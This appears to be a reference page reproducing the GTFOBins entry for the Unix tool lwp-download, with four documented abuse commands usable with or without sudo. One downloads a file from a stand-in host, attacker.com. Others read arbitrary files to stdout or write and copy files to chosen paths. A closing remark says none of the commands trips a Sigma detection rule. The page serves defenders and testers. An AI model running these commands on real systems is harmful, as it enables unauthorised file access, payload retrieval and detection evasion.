Identifier / Programs / Linux and Unix
lwp-download
GTFOBins download, file-read, file-write 4 documented commands
How lwp-download is abused
download
file-read
file-write
Each abuse is GTFOBins's category and the options and words it uses; the full write-up is on GTFOBins's page for lwp-download.
4 documented commands
download unprivileged, with sudo
The destination file /path/to/output-file can be omitted, in that case the file is saved to input-file in the current working directory.
lwp-download http://attacker.com/path/to/input-file /path/to/output-fileIdentifyfile-read unprivileged, with sudo
lwp-download file:///path/to/input-file /dev/stdoutIdentifyfile-write unprivileged, with sudo
echo DATA >/path/to/temp-file
lwp-download file:///path/to/temp-file /path/to/output-fileIdentifyfile-write unprivileged, with sudo
This actually copies a file to a destination.
lwp-download file:///path/to/input-file /path/to/output-fileIdentifyNone of the 4 commands the identifier reads trips a Sigma process-creation rule. These commands are, with GTFOBins’ notes, from GTFOBins, at commit acd524623f9c of 2026-05-27, under the GPL-3.0, with no warranty. Changed: Markdown is shown formatted. The source is in lolbas-gtfobins-commands.json.gz, and the full entry is on GTFOBins’s page for lwp-download. The identifier reads the line of each that runs lwp-download.